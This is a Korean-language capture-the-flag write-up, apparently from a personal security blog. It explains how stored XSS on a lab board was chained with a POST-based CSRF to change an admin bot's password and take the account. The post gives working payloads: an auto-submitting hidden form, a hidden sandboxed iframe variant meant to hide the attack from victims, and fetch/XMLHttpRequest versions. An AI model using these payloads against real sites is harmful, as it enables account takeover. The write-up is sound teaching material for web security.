[1]Reconnaissance
-계정을 탈취하는 것이 목적인 워 게임입니다.
page Analysis
[1]
-비밀번호 변경 기능과 로직은 이전 워 게임 "Get Admin 1"을 참고해주세요.
*Get Admin 1: https://x4uiry.tistory.com/52
Get Admin 1
[1]Reconnaissance-계정을 탈취하는 것이 목적인 워 게임입니다. page Analysis[1]-홈 페이지의 기본적인 로직은 이전에 포스팅한 'Steal Info2'와 동일합니다. *Steal Info 2 : https://x4uiry.tistory.com/50 Steal Info 2[1
x4uiry.tistory.com
[2]GET Admin 1과의 차이점
-GET Admin 1에서는 mypage_update.php를 통한 비밀번호 변경에서 POST와 GET 요청 모두 가능했지만, GET Admin 2에서는 POST 요청만 받고 있습니다.
[2]Vulnerability&Exploit
How to take away admin account?
-Get Admin 1에서 시도한 공격 방법은 직접 비밀번호 변경 링크를 전송하는 것과 XSS를 이용해 비밀번호 변경 페이지에 접속시키는 방법 두 가지였습니다. 물론 전자나 후자의 location.href 등으로 직접 리다이렉션 시키는 방식은 거부되었습니다. 또한 이번 문제에서는 비밀번호 변경 페이지를 POST로 요청을 보내야 한다는 제한 사항이 있습니다.
-따라서 XSS를 이용해 POST Form의 input 태그에 각각 전송해야 할 key&value 를 name&value 로 하여 비밀번호 페이지에 접근시키는 방법을 사용할 수 있습니다. 결국 XSS를 이용한 CSRF 공격입니다.
POST Method CSRF
-게시판에서 Stored XSS가 발생합니다. notice_read.php를 보면 <script>alert(1)</script> 입력값이 그대로 삽입되어 스크립트로 작동됩니다.
-POST Method 를 이용한 전송 방식을 구현하는 것은 어렵지 않습니다. method는 POST, 'pw'라는 key에 바꿀 비밀번호를 value로 하여 전송합니다.
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myform" target="ming">
<input type="hidden" name="pw" value="change_passwd"/>
</form>
<script>
document.getElementById('myform').submit();
</script>
-form 태그 구조라면 일반적으로 <input type="submit" value="transfor"> 와 같은 버튼이 존재하며 이를 클릭하여 정보를 전송하지만, 악의적인 스크립트의 구조상 이를 클릭하도록 유도하기는 어렵습니다. 따라서 전송 과정을 자동화해야 합니다.
-따라서 document.getElementById('myform') 으로 form 태그를 조회하고 submit() 으로 전송하는 스크립트를 작성했습니다.
-이것을 작성한 게시글의 URL을 관리자 봇에 전송할 수 있으며, 해당 아이디에 변경한 pw로 로그인 한다면 플래그를 얻을 수 있습니다.
Advanced more
-플래그를 얻었지만 조금 더 발전시켜야 할 부분이 있습니다.
-정상적인 이용자는 게시글을 클릭하여, 마이페이지의 비밀번호 변경으로 인해 로그아웃 페이지로 리다이렉트되었습니다. 실제 상황의 경우 이용자는 게시글을 눌렀는데, 비밀번호 변경 페이지로 리다이렉트되는 것을 보게 되므로 바로 비밀번호를 변경하거나 관리자에게 이를 신고하여 공격이 실패될 확률이 높아질 수 있습니다. 따라서 이용자가 공격에 대한 인지를 어렵게하는 방법을 소개하겠습니다.
[1]iframe
-먼저 추가해야 할 태그를 보여드리겠습니다.
<iframe name="this_is_target" sandbox="allow-scripts" style="display:none"></iframe>
-sandbox: sandbox 속성은 iframe에서 보일 콘텐츠에 대한 추가적인 제한 사항을 명시하는 것으로, 이 중 "allow-scripts"는 스크립트는 실행하나 팝업을 차단하는 속성값입니다.
-style: display:none은 iframe으로 생성되는 창을 보이지 않게 하는 속성값입니다.
*sandbox property: https://www.tcpschool.com/html-tag-attrs/iframe-sandbox
-속성에 대한 것은 알겠지만 iframe이 form과 무슨 상관인지 모를 수 있습니다. iframe의 name 속성값을 "this_is_target"으로 한 이유는 아래에 작성한 form 태그와 관련이 있습니다.
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myform" target="this_is_target">
<input type="hidden" name="pw" value="good"/>
</form>
<script>
document.getElementById('myform').submit();
</script>
-form 태그의 속성을 살펴보면 target="this_is_target" 을 볼 수 있습니다. 이는 iframe의 name 값으로, form 태그 안의 내용을 iframe에서 실행하게 됩니다.
<iframe name="this_is_target" sandbox="allow-scripts" style="display:none"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myform" target="this_is_target">
<input type="hidden" name="pw" value="good"/>
</form>
<script>
document.getElementById('myform').submit();
</script>
-이를 붙여서 다시 게시글에 들어가보면, 화면에서는 아무 작동도 일어나지 않지만 burpsuite의 HTTP history를 보면 비밀번호를 good으로 변경하는 mypage_update.php 엔드포인트를 볼 수 있습니다.
[2]XMLHttpRequest&fetch
-사실 POST 요청을 보내야 한다면 가장 먼저 생각나는 것이 AJAX(fetch, XMLHttpRequest,jQuery 등)를 이용하는 것입니다.
-여기서는 fetch와 XMLHttpRequest 를 이용하는 스크립트를 소개하겠습니다.
<script>
fetch('http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'pw=good'
})
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var params = 'pw=good';
xhr.send(params);
</script>
-둘 다 기능은 같고, pw 파라미터 값을 good으로 하여 비밀번호 변경 페이지에 전송하는 스크립트입니다. 직접 리다이렉트를 하는 것이 아니므로 alert 등이 화면에 실행되지 않습니다. burpsuite로 잡아보면 역시 HTTPhistory에 잡힙니다.
[3]Flag
FLAG
'write-up > web' 카테고리의 다른 글
Web Shell 1 (0) | 2024.07.19 |
---|---|
Get Admin 3 (0) | 2024.07.08 |
Get Admin 1 (0) | 2024.07.06 |
SQLHell (0) | 2024.07.05 |
Steal Info 2 (0) | 2024.06.30 |